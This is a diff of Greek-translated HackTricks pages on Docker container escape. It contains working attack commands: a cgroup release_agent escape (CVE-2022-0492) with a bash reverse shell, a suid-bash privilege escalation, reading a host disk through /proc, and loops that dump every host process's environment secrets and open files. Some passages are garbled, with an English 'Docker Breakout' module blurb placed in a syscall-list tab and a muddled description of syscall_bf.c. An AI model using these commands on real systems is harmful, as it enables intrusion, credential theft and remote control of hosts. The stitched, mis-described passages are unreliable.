|
```
|
||||||
#### Απόδραση με προνομιούχο ρόλο εκμεταλλευόμενος το δημιουργημένο release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
|
||||||
```bash
|
|
||||||
# On the host
|
|
||||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
|
||||||
|
|
||||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
|
||||||
# This technique should work with the majority of cgroup controllers
|
|
||||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
|
||||||
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
|
|
||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
||||||
# If mount gives an error, this won't work, you need to use the first PoC
|
|
||||||
|
|
||||||
# Enables cgroup notifications on release of the "x" cgroup
|
|
||||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
||||||
|
|
||||||
# Finds path of OverlayFS mount for container
|
|
||||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
|
||||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|
||||||
|
|
||||||
# Sets release_agent to /path/payload
|
|
||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
||||||
|
|
||||||
#For a normal PoC =================
|
|
||||||
echo '#!/bin/sh' > /cmd
|
|
||||||
echo "ps aux > $host_path/output" >> /cmd
|
|
||||||
chmod a+x /cmd
|
|
||||||
#===================================
|
|
||||||
#Reverse shell
|
|
||||||
echo '#!/bin/bash' > /cmd
|
|
||||||
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
|
|
||||||
chmod a+x /cmd
|
|
||||||
#===================================
|
|
||||||
|
|
||||||
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
|
|
||||||
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
|
|
||||||
# The script on the host will execute after /bin/sh exits
|
|
||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
||||||
|
|
||||||
# Reads the output
|
|
||||||
cat /output
|
|
||||||
```
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Βρείτε μια **εξήγηση της τεχνικής** στο:
|
Βρείτε μια **εξήγηση της τεχνικής** στο:
|
||||||
|
@ -249,6 +221,7 @@ cat /output
|
||||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
|
||||||
|
@ -308,7 +281,9 @@ sleep 1
|
||||||
echo "Done! Output:"
|
echo "Done! Output:"
|
||||||
cat ${OUTPUT_PATH}
|
cat ${OUTPUT_PATH}
|
||||||
```
|
```
|
||||||
|
|
||||||
Η εκτέλεση του PoC εντός ενός προνομιούχου container θα παρέχει έξοδο παρόμοια με:
|
Η εκτέλεση του PoC εντός ενός προνομιούχου container θα παρέχει έξοδο παρόμοια με:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
root@container:~$ ./release_agent_pid_brute.sh
|
root@container:~$ ./release_agent_pid_brute.sh
|
||||||
Checking pid 100
|
Checking pid 100
|
||||||
|
@ -336,6 +311,7 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||||||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Απόδραση με Προνομιούχο Χρήστη Εκμεταλλευόμενος Ευαίσθητα Mounts
|
#### Απόδραση με Προνομιούχο Χρήστη Εκμεταλλευόμενος Ευαίσθητα Mounts
|
||||||
|
|
||||||
Υπάρχουν αρκετά αρχεία που μπορεί να τοποθετηθούν που δίνουν **πληροφορίες σχετικά με τον υποκείμενο κεντρικό υπολογιστή**. Κάποια από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που πρόκειται να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπλεκόμενο δοχείο).\
|
Υπάρχουν αρκετά αρχεία που μπορεί να τοποθετηθούν που δίνουν **πληροφορίες σχετικά με τον υποκείμενο κεντρικό υπολογιστή**. Κάποια από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που πρόκειται να εκτελεστεί από τον κεντρικό υπολογιστή όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να δραπετεύσει από τον εμπλεκόμενο δοχείο).\
|
||||||
|
@ -356,13 +332,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||||
### Αυθαίρετα Mounts
|
### Αυθαίρετα Mounts
|
||||||
|
|
||||||
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **δοχείο έχει κάποιον όγκο που έχει τοποθετηθεί από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει διαμορφωθεί σωστά, ενδέχεται να μπορείτε να **έχετε πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε τα authorized\_keys του ssh...
|
Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **δοχείο έχει κάποιον όγκο που έχει τοποθετηθεί από τον κεντρικό υπολογιστή**. Εάν αυτός ο όγκος δεν έχει διαμορφωθεί σωστά, ενδέχεται να μπορείτε να **έχετε πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε τα authorized\_keys του ssh...
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run --rm -it -v /:/host ubuntu bash
|
docker run --rm -it -v /:/host ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εscalation προνομίων με 2 κελύφη και host mount
|
### Εscalation προνομίων με 2 κελύφη και host mount
|
||||||
|
|
||||||
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει κάποιο φάκελο από τον host που έχει προσαρτηθεί και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
|
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** που έχει κάποιο φάκελο από τον host που έχει προσαρτηθεί και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host** και έχετε πρόσβαση ανάγνωσης στον προσαρτημένο φάκελο.\
|
||||||
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το **εκτελέσετε από τον host** για προνομιούχα αύξηση.
|
Μπορείτε να δημιουργήσετε ένα **αρχείο bash suid** στον **προσαρτημένο φάκελο** μέσα στο **container** και να το **εκτελέσετε από τον host** για προνομιούχα αύξηση.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp /bin/bash . #From non priv inside mounted folder
|
cp /bin/bash . #From non priv inside mounted folder
|
||||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||||
|
@ -370,6 +349,7 @@ chown root:root bash #From container as root inside mounted folder
|
||||||
chmod 4777 bash #From container as root inside mounted folder
|
chmod 4777 bash #From container as root inside mounted folder
|
||||||
bash -p #From non priv inside mounted folder
|
bash -p #From non priv inside mounted folder
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εscalation προνομίων με 2 κελύφη
|
### Εscalation προνομίων με 2 κελύφη
|
||||||
|
|
||||||
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τα δύο κελύφη για **επέκταση προνομίων μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (είναι προεπιλεγμένο) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
Εάν έχετε πρόσβαση ως **root μέσα σε ένα container** και έχετε **δραπετεύσει ως μη προνομιούχος χρήστης στον host**, μπορείτε να καταχραστείτε και τα δύο κελύφη για **επέκταση προνομίων μέσα στον host** αν έχετε τη δυνατότητα MKNOD μέσα στο container (είναι προεπιλεγμένο) όπως [**εξηγείται σε αυτή την ανάρτηση**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||||
|
@ -378,6 +358,7 @@ bash -p #From non priv inside mounted folder
|
||||||
Το Docker προστατεύει ενάντια στην κατάχρηση αρχείων block device μέσα στα containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων block device**. Ωστόσο, εάν ένα αρχείο block device **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο κάτοχο διεργασίας** τόσο μέσα όσο και έξω από το container.
|
Το Docker προστατεύει ενάντια στην κατάχρηση αρχείων block device μέσα στα containers επιβάλλοντας μια πολιτική cgroup που **αποκλείει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων block device**. Ωστόσο, εάν ένα αρχείο block device **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του φακέλου **/proc/PID/root/**. Αυτή η πρόσβαση απαιτεί τον **ίδιο κάτοχο διεργασίας** τόσο μέσα όσο και έξω από το container.
|
||||||
|
|
||||||
Παράδειγμα **εκμετάλλευσης** από αυτό το [**άρθρο**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
Παράδειγμα **εκμετάλλευσης** από αυτό το [**άρθρο**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# On the container as root
|
# On the container as root
|
||||||
cd /
|
cd /
|
||||||
|
@ -413,15 +394,19 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
|
||||||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||||||
```
|
```
|
||||||
|
|
||||||
### hostPID
|
### hostPID
|
||||||
|
|
||||||
Εάν μπορείτε να έχετε πρόσβαση στις διεργασίες του κεντρικού υπολογιστή, τότε θα μπορείτε να έχετε πρόσβαση σε πολλές ευαίσθητες πληροφορίες που αποθηκεύονται σε αυτές τις διεργασίες. Εκτελέστε το εργαστήριο δοκιμών:
|
Εάν μπορείτε να έχετε πρόσβαση στις διεργασίες του κεντρικού υπολογιστή, τότε θα μπορείτε να έχετε πρόσβαση σε πολλές ευαίσθητες πληροφορίες που αποθηκεύονται σε αυτές τις διεργασίες. Εκτελέστε το εργαστήριο δοκιμών:
|
||||||
|
|
||||||
```
|
```
|
||||||
docker run --rm -it --pid=host ubuntu bash
|
docker run --rm -it --pid=host ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Για παράδειγμα, θα μπορείτε να εμφανίσετε τις διεργασίες χρησιμοποιώντας κάτι σαν `ps auxn` και να αναζητήσετε ευαίσθητες λεπτομέρειες στις εντολές.
|
Για παράδειγμα, θα μπορείτε να εμφανίσετε τις διεργασίες χρησιμοποιώντας κάτι σαν `ps auxn` και να αναζητήσετε ευαίσθητες λεπτομέρειες στις εντολές.
|
||||||
|
|
||||||
Στη συνέχεια, καθώς μπορείτε **να έχετε πρόσβαση σε κάθε διεργασία του κεντρικού υπολογιστή στο /proc/, μπορείτε απλά να κλέψετε τα μυστικά περιβάλλοντός τους** εκτελώντας:
|
Στη συνέχεια, καθώς μπορείτε **να έχετε πρόσβαση σε κάθε διεργασία του κεντρικού υπολογιστή στο /proc/, μπορείτε απλά να κλέψετε τα μυστικά περιβάλλοντός τους** εκτελώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||||
/proc/988058/environ
|
/proc/988058/environ
|
||||||
|
@ -430,7 +415,9 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
||||||
USER=abrgocd
|
USER=abrgocd
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε επίσης **να έχετε πρόσβαση στους αριθμούς αρχείων άλλων διεργασιών και να διαβάσετε τα ανοικτά αρχεία τους**:
|
Μπορείτε επίσης **να έχετε πρόσβαση στους αριθμούς αρχείων άλλων διεργασιών και να διαβάσετε τα ανοικτά αρχεία τους**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||||
less fds.txt
|
less fds.txt
|
||||||
|
@ -440,6 +427,7 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||||||
# You can open the secret filw with:
|
# You can open the secret filw with:
|
||||||
cat /proc/635813/fd/4
|
cat /proc/635813/fd/4
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε επίσης **να τερματίσετε διεργασίες και να προκαλέσετε DoS**.
|
Μπορείτε επίσης **να τερματίσετε διεργασίες και να προκαλέσετε DoS**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
|
@ -447,9 +435,11 @@ cat /proc/635813/fd/4
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### hostNetwork
|
### hostNetwork
|
||||||
|
|
||||||
```
|
```
|
||||||
docker run --rm -it --network=host ubuntu bash
|
docker run --rm -it --network=host ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Εάν ένας container έχει διαμορφωθεί με τον [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο αυτού του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το namespace δικτύου του host) και το container δεν λαμβάνει ανατεθειμένη δική του διεύθυνση IP. Με άλλα λόγια, το **container δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το container μπορεί **να παρακολουθήσει ΟΛΗ την κίνηση δικτύου που ο host** στέλνει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
|
Εάν ένας container έχει διαμορφωθεί με τον [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο αυτού του container δεν είναι απομονωμένο από τον Docker host (το container μοιράζεται το namespace δικτύου του host) και το container δεν λαμβάνει ανατεθειμένη δική του διεύθυνση IP. Με άλλα λόγια, το **container δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το container μπορεί **να παρακολουθήσει ΟΛΗ την κίνηση δικτύου που ο host** στέλνει και λαμβάνει στην κοινόχρηστη διεπαφή `tcpdump -i eth0`.
|
||||||
|
|
||||||
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε αυτό για **να καταγράψετε και ακόμη να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης περίπτωσης.
|
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε αυτό για **να καταγράψετε και ακόμη να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης περίπτωσης.
|
||||||
|
@ -462,9 +452,11 @@ docker run --rm -it --network=host ubuntu bash
|
||||||
Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία ενδέχεται να είναι διαφορετικά από αυτά που μπορεί να έχει πρόσβαση ένα container).
|
Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στα **δικαιώματα μεταδεδομένων του κόμβου** (τα οποία ενδέχεται να είναι διαφορετικά από αυτά που μπορεί να έχει πρόσβαση ένα container).
|
||||||
|
|
||||||
### hostIPC
|
### hostIPC
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker run --rm -it --ipc=host ubuntu bash
|
docker run --rm -it --ipc=host ubuntu bash
|
||||||
```
|
```
|
||||||
|
|
||||||
Με το `hostIPC=true`, κερδίζετε πρόσβαση στους πόρους μεταξύ διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι IPC πόροι χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή των pods. Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
|
Με το `hostIPC=true`, κερδίζετε πρόσβαση στους πόρους μεταξύ διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινόχρηστη μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι IPC πόροι χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή των pods. Χρησιμοποιήστε την εντολή `ipcs` για να εξετάσετε αυτούς τους μηχανισμούς IPC περαιτέρω.
|
||||||
|
|
||||||
* **Επιθεώρηση του /dev/shm** - Αναζητήστε αρχεία σε αυτήν την τοποθεσία της κοινόχρηστης μνήμης: `ls -la /dev/shm`
|
* **Επιθεώρηση του /dev/shm** - Αναζητήστε αρχεία σε αυτήν την τοποθεσία της κοινόχρηστης μνήμης: `ls -la /dev/shm`
|
||||||
|
@ -473,11 +465,13 @@ docker run --rm -it --ipc=host ubuntu bash
|
||||||
### Ανάκτηση δυνατοτήτων
|
### Ανάκτηση δυνατοτήτων
|
||||||
|
|
||||||
Αν η κλήση συστήματος **`unshare`** δεν έχει απαγορευτεί, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
|
Αν η κλήση συστήματος **`unshare`** δεν έχει απαγορευτεί, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unshare -UrmCpf bash
|
unshare -UrmCpf bash
|
||||||
# Check them with
|
# Check them with
|
||||||
cat /proc/self/status | grep CapEff
|
cat /proc/self/status | grep CapEff
|
||||||
```
|
```
|
||||||
|
|
||||||
### Κατάχρηση του περιβάλλοντος χρήστη μέσω συμβολικών συνδέσεων
|
### Κατάχρηση του περιβάλλοντος χρήστη μέσω συμβολικών συνδέσεων
|
||||||
|
|
||||||
Η δεύτερη τεχνική που εξηγείται στη δημοσίευση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με τα user namespaces, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε εκείνη τη συγκεκριμένη περίπτωση, διαγράψτε αρχεία).
|
Η δεύτερη τεχνική που εξηγείται στη δημοσίευση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) δείχνει πώς μπορείτε να καταχραστείτε τα bind mounts με τα user namespaces, για να επηρεάσετε αρχεία μέσα στον κεντρικό υπολογιστή (σε εκείνη τη συγκεκριμένη περίπτωση, διαγράψτε αρχεία).
|
||||||
|
@ -542,35 +536,35 @@ cat /proc/self/status | grep CapEff
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="arm64 syscalls" %}
|
{% tab title="arm64 syscalls" %}
|
||||||
|
### Docker Breakout - Privilege Escalation
|
||||||
|
|
||||||
## Docker Breakout - Privilege Escalation
|
#### Description
|
||||||
|
|
||||||
### Description
|
|
||||||
|
|
||||||
This module attempts to escape from a Docker container to the Docker host by exploiting misconfigurations in the Docker daemon or vulnerabilities in the Linux kernel.
|
This module attempts to escape from a Docker container to the Docker host by exploiting misconfigurations in the Docker daemon or vulnerabilities in the Linux kernel.
|
||||||
|
|
||||||
### Usage
|
#### Usage
|
||||||
|
|
||||||
1. Compile the `docker-breakout.c` file on the target system using the provided Makefile.
|
1. Compile the `docker-breakout.c` file on the target system using the provided Makefile.
|
||||||
2. Run the compiled binary to attempt privilege escalation.
|
2. Run the compiled binary to attempt privilege escalation.
|
||||||
|
|
||||||
### Detection
|
#### Detection
|
||||||
|
|
||||||
Monitor for any unauthorized access to the Docker host from within a container. Check for unusual processes or network activity that could indicate a breakout attempt.
|
Monitor for any unauthorized access to the Docker host from within a container. Check for unusual processes or network activity that could indicate a breakout attempt.
|
||||||
|
|
||||||
### Prevention
|
#### Prevention
|
||||||
|
|
||||||
- Keep Docker and the Linux kernel up to date to patch any known vulnerabilities.
|
* Keep Docker and the Linux kernel up to date to patch any known vulnerabilities.
|
||||||
- Follow best practices for securing Docker configurations to minimize the risk of privilege escalation.
|
* Follow best practices for securing Docker configurations to minimize the risk of privilege escalation.
|
||||||
|
|
||||||
### References
|
#### References
|
||||||
|
|
||||||
- [Docker Security](https://docs.docker.com/engine/security/security/)
|
* [Docker Security](https://docs.docker.com/engine/security/security/)
|
||||||
- [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)
|
* [Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker\_Security\_Cheat\_Sheet.html)
|
||||||
|
|
||||||
### Disclaimer
|
#### Disclaimer
|
||||||
|
|
||||||
This module is for educational purposes only. Do not use it for illegal activities.
|
This module is for educational purposes only. Do not use it for illegal activities.
|
||||||
|
|
||||||
```
|
```
|
||||||
0x029 -- pivot_root
|
0x029 -- pivot_root
|
||||||
0x059 -- acct
|
0x059 -- acct
|
||||||
|
@ -590,7 +584,9 @@ This module is for educational purposes only. Do not use it for illegal activiti
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="syscall_bf.c" %}Το syscall_bf.c είναι ένα εργαλείο που χρησιμοποιείται για την εκτέλεση επιθέσεων προνομιακής αύξησης στο Docker. Αυτό το εργαλείο εκμεταλλεϊεται μια ευπάθεια στον πυρήνα Linux που επιτρέπει σε χρήστες με προνομιακά δικαιώματα στον χώρο χρήστη να αποκτήσουν πρόσβαση σε προνομιακές λειτουργίες. Χρησιμοποιείται για την ανάπτυξη και την εκτέλεση επιθέσεων διαρροής προνομίων. %}
|
{% tab title="syscall_bf.c" %}
|
||||||
|
Το syscall\_bf.c είναι ένα εργαλείο που χρησιμοποιείται για την εκτέλεση επιθέσεων προνομιακής αύξησης στο Docker. Αυτό το εργαλείο εκμεταλλεϊεται μια ευπάθεια στον πυρήνα Linux που επιτρέπει σε χρήστες με προνομιακά δικαιώματα στον χώρο χρήστη να αποκτήσουν πρόσβαση σε προνομιακές λειτουργίες. Χρησιμοποιείται για την ανάπτυξη και την εκτέλεση επιθέσεων διαρροής προνομίων. %\}
|
||||||
|
|
||||||
````c
|
````c
|
||||||
// From a conversation I had with @arget131
|
// From a conversation I had with @arget131
|
||||||
// Fir bfing syscalss in x64
|
// Fir bfing syscalss in x64
|
||||||
|
|
|
@ -7,8 +7,8 @@
|
||||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -21,13 +21,15 @@
|
||||||
Σε ένα privileged container, όλες οι **συσκευές μπορούν να προσπελαστούν στο `/dev/`**. Επομένως, μπορείτε να **δραπετεύσετε** προσαρτώντας το δίσκο του host.
|
Σε ένα privileged container, όλες οι **συσκευές μπορούν να προσπελαστούν στο `/dev/`**. Επομένως, μπορείτε να **δραπετεύσετε** προσαρτώντας το δίσκο του host.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Μέσα στο προεπιλεγμένο container" %}
|
{% tab title="undefined" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm -it alpine sh
|
# docker run --rm -it alpine sh
|
||||||
ls /dev
|
ls /dev
|
||||||
console fd mqueue ptmx random stderr stdout urandom
|
console fd mqueue ptmx random stderr stdout urandom
|
||||||
core full null pts shm stdin tty zero
|
core full null pts shm stdin tty zero
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
{% tab title="Μέσα σε ένα Προνομιούχο Εμπορευματοκιβώτιο" %}
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm --privileged -it alpine sh
|
# docker run --rm --privileged -it alpine sh
|
||||||
|
@ -44,6 +46,7 @@ cpu nbd0 pts stdout tty27
|
||||||
### Ανάγνωση μόνο των αρχείων συστήματος του πυρήνα
|
### Ανάγνωση μόνο των αρχείων συστήματος του πυρήνα
|
||||||
|
|
||||||
Τα αρχεία συστήματος του πυρήνα παρέχουν ένα μηχανισμό για ένα διεργασία να τροποποιήσει τη συμπεριφορά του πυρήνα. Ωστόσο, όσον αφορά τις διεργασίες ενός εμπορεύματος, θέλουμε να τους εμποδίσουμε από το να κάνουν οποιεσδήποτε αλλαγές στον πυρήνα. Για τον λόγο αυτό, προσαρτούμε τα αρχεία συστήματος του πυρήνα ως **μόνο για ανάγνωση** μέσα στο εμπόρευμα, εξασφαλίζοντας ότι οι διεργασίες του εμπορεύματος δεν μπορούν να τροποποιήσουν τον πυρήνα.
|
Τα αρχεία συστήματος του πυρήνα παρέχουν ένα μηχανισμό για ένα διεργασία να τροποποιήσει τη συμπεριφορά του πυρήνα. Ωστόσο, όσον αφορά τις διεργασίες ενός εμπορεύματος, θέλουμε να τους εμποδίσουμε από το να κάνουν οποιεσδήποτε αλλαγές στον πυρήνα. Για τον λόγο αυτό, προσαρτούμε τα αρχεία συστήματος του πυρήνα ως **μόνο για ανάγνωση** μέσα στο εμπόρευμα, εξασφαλίζοντας ότι οι διεργασίες του εμπορεύματος δεν μπορούν να τροποποιήσουν τον πυρήνα.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# docker run --rm -it alpine sh
|
# docker run --rm -it alpine sh
|
||||||
mount | grep '(ro'
|
mount | grep '(ro'
|
